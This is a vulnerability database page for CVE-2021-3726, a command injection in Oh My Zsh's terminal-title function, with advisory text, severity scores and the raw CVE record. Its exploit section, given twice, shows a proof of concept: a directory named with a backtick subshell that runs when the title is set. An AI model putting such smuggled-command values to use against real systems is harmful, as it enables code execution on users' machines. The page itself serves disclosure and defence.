CVE-2021-3726 (GCVE-0-2021-3726)
Vulnerability from cvelistv5
Published
2021-11-30 09:30
Modified
2024-08-03 17:01
CWE
  • CWE-78 - OS Command Injection
Summary
# Vulnerability in `title` function **Description**: the `title` function defined in `lib/termsupport.zsh` uses `print` to set the terminal title to a user-supplied string. In Oh My Zsh, this function is always used securely, but custom user code could use the `title` function in a way that is unsafe. **Fixed in**: [a263cdac](https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac). **Impacted areas**: - `title` function in `lib/termsupport.zsh`. - Custom user code using the `title` function.
References
Impacted products
Vendor Product Version
ohmyzsh ohmyzsh/ohmyzsh Version: unspecified   < a263cdac
Create a notification for this product.
Show details on NVD website


{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T17:01:08.345Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "ohmyzsh/ohmyzsh",
          "vendor": "ohmyzsh",
          "versions": [
            {
              "lessThan": "a263cdac",
              "status": "affected",
              "version": "unspecified",
              "versionType": "custom"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# Vulnerability in `title` function **Description**: the `title` function defined in `lib/termsupport.zsh` uses `print` to set the terminal title to a user-supplied string. In Oh My Zsh, this function is always used securely, but custom user code could use the `title` function in a way that is unsafe. **Fixed in**: [a263cdac](https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac). **Impacted areas**: - `title` function in `lib/termsupport.zsh`. - Custom user code using the `title` function."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "**Exploit PoC**:\n\n1. Install Oh My Zsh.\n2. Add a custom function that calls `title` to set the terminal title with a user-supplied string.\n   For example:\n\n   ```sh\n   function dirpath_in_title {\n     title \"$PWD\"\n   }\n   add-zsh-hook precmd dirpath_in_title\n   ```\n\n3. Create and cd into a directory with a subshell command as its name:\n\n   ```sh\n   baddir=\u0027`echo pwned \u0026\u0026 id`\u0027\n   mkdir \"$baddir\" \u0026\u0026 cd \"$baddir\"\n   ```\n\n4. The `title` function incorrectly expands the subshell command (see screenshot):\n\n   ![2 title_function poc](https://user-images.githubusercontent.com/1441704/142874935-341ddd3c-21e8-4b9e-a5c1-77c0b3debacc.png)"
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78 OS Command Injection",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2021-11-30T09:30:15.000Z",
        "orgId": "c09c270a-b464-47c1-9133-acb35b22c19a",
        "shortName": "@huntrdev"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac"
        }
      ],
      "title": "OS Command Injection in ohmyzsh/ohmyzsh",
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "security@huntr.dev",
          "ID": "CVE-2021-3726",
          "STATE": "PUBLIC",
          "TITLE": "OS Command Injection in ohmyzsh/ohmyzsh"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "ohmyzsh/ohmyzsh",
                      "version": {
                        "version_data": [
                          {
                            "version_affected": "\u003c",
                            "version_value": "a263cdac"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "ohmyzsh"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "# Vulnerability in `title` function **Description**: the `title` function defined in `lib/termsupport.zsh` uses `print` to set the terminal title to a user-supplied string. In Oh My Zsh, this function is always used securely, but custom user code could use the `title` function in a way that is unsafe. **Fixed in**: [a263cdac](https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac). **Impacted areas**: - `title` function in `lib/termsupport.zsh`. - Custom user code using the `title` function."
            }
          ]
        },
        "exploit": [
          {
            "lang": "en",
            "value": "**Exploit PoC**:\n\n1. Install Oh My Zsh.\n2. Add a custom function that calls `title` to set the terminal title with a user-supplied string.\n   For example:\n\n   ```sh\n   function dirpath_in_title {\n     title \"$PWD\"\n   }\n   add-zsh-hook precmd dirpath_in_title\n   ```\n\n3. Create and cd into a directory with a subshell command as its name:\n\n   ```sh\n   baddir=\u0027`echo pwned \u0026\u0026 id`\u0027\n   mkdir \"$baddir\" \u0026\u0026 cd \"$baddir\"\n   ```\n\n4. The `title` function incorrectly expands the subshell command (see screenshot):\n\n   ![2 title_function poc](https://user-images.githubusercontent.com/1441704/142874935-341ddd3c-21e8-4b9e-a5c1-77c0b3debacc.png)"
          }
        ],
        "impact": {
          "cvss": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-78 OS Command Injection"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac",
              "refsource": "MISC",
              "url": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "c09c270a-b464-47c1-9133-acb35b22c19a",
    "assignerShortName": "@huntrdev",
    "cveId": "CVE-2021-3726",
    "datePublished": "2021-11-30T09:30:15.000Z",
    "dateReserved": "2021-08-19T00:00:00.000Z",
    "dateUpdated": "2024-08-03T17:01:08.345Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…